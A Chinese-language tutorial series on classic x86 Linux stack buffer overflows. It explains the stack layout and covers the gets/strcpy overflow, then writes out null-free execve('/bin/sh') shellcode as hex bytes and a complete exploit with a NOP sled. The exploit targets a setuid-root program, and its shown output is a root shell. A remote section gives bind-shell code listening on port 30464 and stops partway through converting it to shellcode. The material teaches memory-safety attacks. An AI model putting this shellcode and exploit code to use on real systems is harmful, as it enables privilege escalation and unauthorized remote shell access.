堆栈溢出从入门到提高

有一些是在以前的文章里照搬的,希望作者不要介意 :P
堆栈溢出系列讲座
入门篇

哈可参考缓冲区溢出的原理和实践http://dev.csdn.net/article/46/46103.shtm
本讲的预备知识:
首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面
的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,
你应该了解linux,本讲中我们的例子将在linux上开发。

1:首先复习一下基础知识。

从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态
全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配
在堆栈里面。

从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我
们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的
操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。

在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,
接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被
丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回
地址到EIP以继续执行程序。

在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:
先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。
(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都
会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)

2:好了,继续,让我们来看一看什么是堆栈溢出。

2.1:运行时的堆栈分配

堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据
越界。结果覆盖了老的堆栈数据。

比如有下面一段程序:
程序一:
#include <stdio.h>
int main ( )
{
char name[8];
printf(/"Please type your name: /");
gets(name);
printf(/"Hello, %s!/", name);
return 0;
}

编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢?

在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。

我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句:

pushl %ebp
movl %esp,%ebp
subl $8,%esp

首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的
局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈
的布局如下:

内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
栈顶部 堆栈底部

执行完gets(name)之后,堆栈如下:

内存底部 内存顶部
name EBP ret
<------ [ipxodi//0 ][ ][ ]
^&name
栈顶部 堆栈底部

最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。


2.2:堆栈溢出

好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
gets(name)之后,堆栈如下:

内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
栈顶部 堆栈底部

由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写
‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的
老的元素。 如图
我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把
‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处
的指令,结果出现错误。这就是一次堆栈溢出。

3:如何利用堆栈溢出

我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写
越界,覆盖堆栈中的老元素的值,就可以修改返回地址。

在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。

事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。
如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我
们的指令。

在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆
栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得
root shell。


下一讲将叙述如何书写一个shell code。


------------------------------------------------------------

如何书写一个shell code

一:shellcode基本算法分析

在程序中,执行一个shell的程序是这样写的:
shellcode.c
------------------------------------------------------------------------
-----
#include <stdio.h>

void main() {
char *name[2];

name[0] = /"/bin/sh/"
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为
第三个参数。

我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb,eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数/"/bin/sh//0/"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL,用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

经过以上的分析,可以得到如下的精简指令算法:
movl $execve的系统调用号,%eax
movl /"bin/sh//0/"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)

当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续
执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调
用,结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

看来exit(0)〕的汇编代码更加简单:
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用

那么总结一下,合成的汇编代码为:
movl $execve的系统调用号,%eax
movl /"bin/sh//0/"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)

二:实现一个shellcode

好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name
数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
程序都是动态加载,字符串和name数组的地址都不是固定的。

通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,

//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码

movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会

//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为
call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,
就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面
8个字节,构造name数组(两个整数,八个字节)。

我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__(/"
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string ///"/bin/sh///" # 8 bytes
/");
}
------------------------------------------------------------------------
------
编译后,用gdb的x/bx 〔地址〕命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)

test.c
------------------------------------------------------------------------
------

char shellcode[] =
/"//xeb//x2a//x5e//x89//x76//x08//xc6//x46//x07//x00//xc7//x46//x0c//x00//x00//x00/"
/"//x00//xb8//x0b//x00//x00//x00//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80/"
/"//xb8//x01//x00//x00//x00//xbb//x00//x00//x00//x00//xcd//x80//xe8//xd1//xff//xff/"
/"//xff//x2f//x62//x69//x6e//x2f//x73//x68//x00//x89//xec//x5d//xc3/"

void main() {
int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有pushl ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。

}

------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址
ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,
从而我们得到了一个shell。

运行结果,得到了bsh的提示符$,表明成功的开了一个shell。

这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为
一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。
而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在
代码段。

这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关
键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
以/"//0/"
为字符串结尾。遇//0就结束了写操作。而我们的shellcode串中有大量的//0字符。因此,
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有//0字符
出现的。

因此,有些指令需要修改一下:
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

最后的shellcode为:
------------------------------------------------------------------------
----
char shellcode[]=
00 /"//xeb//x1f/" /* jmp 0x1f */
02 /"//x5e/" /* popl %esi */
03 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
06 /"//x31//xc0/" /* xorl %eax,%eax */
08 /"//x88//x46//x07/" /* movb %eax,0x7(%esi) */
0b /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
0e /"//xb0//x0b/" /* movb $0xb,%al */
10 /"//x89//xf3/" /* movl %esi,%ebx */
12 /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
15 /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
18 /"//xcd//x80/" /* int $0x80 */
1a /"//x31//xdb/" /* xorl %ebx,%ebx */
1c /"//x89//xd8/" /* movl %ebx,%eax */
1e /"//x40/" /* inc %eax */
1f /"//xcd//x80/" /* int $0x80 */
21 /"//xe8//xdc//xff//xff//xff/" /* call -0x24 */
26 /"/bin/sh/" /* .string ///"/bin/sh///" */
------------------------------------------------------------------------
----

三:利用堆栈溢出获得shell

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =

/"//xeb//x1f//x5e//x89//x76//x08//x31//xc0//x88//x46//x07//x89//x46//x0c//xb0//x0b/"

/"//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80//x31//xdb//x89//xd8//x40//xcd/"
/"//x80//xe8//xdc//xff//xff//xff/bin/sh/"

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在执行完strcpy后,堆栈内容如下所示:

内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
栈顶部 堆栈底部
注:S表示shellcode。
A表示shellcode的地址。

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们
的shellcode。


----------------------------------------------------------

利用堆栈溢出获得shell

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的
strcpy
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的
开始地
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的
shellcode,从而我们得到了一个shell。

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件
事:
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer
的地址。
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开
始地址
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程
序堆栈
的开始地址。

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax
寄存器
里面):
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__(/"movl %esp,%eax/");
}
------------------------------------------------------------------------
------

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是
几K
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。


前面我们用来覆盖堆栈的溢出字符串为:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在,为了提高命中率,我们对他进行如下改进:
用来溢出的字符串变为:
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中:
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到
S.
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序:
exploit1.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>

#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
/"//xeb//x1f/" /* jmp 0x1f */
/"//x5e/" /* popl %esi */
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x88//x46//x07/" /* movb %eax,0x7(%esi) */
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
/"//xb0//x0b/" /* movb $0xb,%al */
/"//x89//xf3/" /* movl %esi,%ebx */
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xd8/" /* movl %ebx,%eax */
/"//x40/" /* inc %eax */
/"//xcd//x80/" /* int $0x80 */
/"//xe8//xdc//xff//xff//xff/" /* call -0x24 */
/"/bin/sh/" /* .string ///"/bin/sh///" */

unsigned long get_sp(void)
{
__asm__(/"movl %esp,%eax/");
}

main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
*((long *)&(buff[i]))=addr;

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]=/"//0/"
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA//0

printf(/"Jump to 0x%08x//n/",addr);

execl(/"./vulnerable1/",/"vulnerable1/",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,
作为./vulnerable1的参数提供。
以下是执行的结果:
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root

bash#
------------------------------------------------------------------------
----
恭喜,恭喜,你获得了root shell。

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。

--------------------------------------------------------------

远程堆栈溢出

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。
我们
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制
(或者
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击
者来说
,由于我们不在本地,这个sh我们并没有得到。

因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,
然后
listen我们的连接,给我们一个远程shell的责任。

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行
)作为
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进
来后,
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,
我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。

下面就是这个算法的C实现:

opensocket.c
------------------------------------------------------------------------
----
1#include<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>

4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;

7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl(/"/bin/sh/",/"sh/",0);
23 }
24}
------------------------------------------------------------------------
----
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的
pid,
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子
进程
作为socket通信的执行者继续下面的操作。

10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后
调用
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接

当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,

标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了

这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。

看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用

gdb来反编译上面的程序:

[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type /"show copying/" to see the conditions.
There is absolutely no warranty for GDB. Type /"show warranty/" for
details.
This GDB was configured as /"i386-redhat-linux/"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.

现在可以写上面c代码的汇编语句了。


fork()的汇编代码
------------------------------------------------------------------------
----
char code[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x02/" /* movb $0x2,%al */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

socket(2,1,6)的汇编代码
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66号系统调用,1号子调用。 */
/* 他使用一段内存块来传递参数2,1,6。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xf1/" /* movl %esi,%ecx */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x89//x06/" /* movl %eax,(%esi) */
/* 第一个参数 */
/* %esi 指向一段未使用的内存空间 */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二个参数 */
/"//xb0//x06/" /* movb $0x6,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x01/" /* movb $0x1,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
----
/* bind使用66号系统调用,2号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//x06/" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET(2) */
/* 2 放在 0xc(%esi). */
/"//xb0//x77/" /* movb $0x77,%al */
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
/* 端口号(0x7700=30464)放在 0xe(%esi) */
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
/"//xb0//x10/" /* movb $0x10,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三个参数 . */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x02/" /* movb $0x2,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

listen(soc,1)的汇编代码
------------------------------------------------------------------------
----
/* listen使用66号系统调用,4号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//x06/" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x04/" /* movb $0x4,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
----
/* accept使用66号系统调用,5号子调用。 */
/* 他使用一段内存块来传递参数。 */
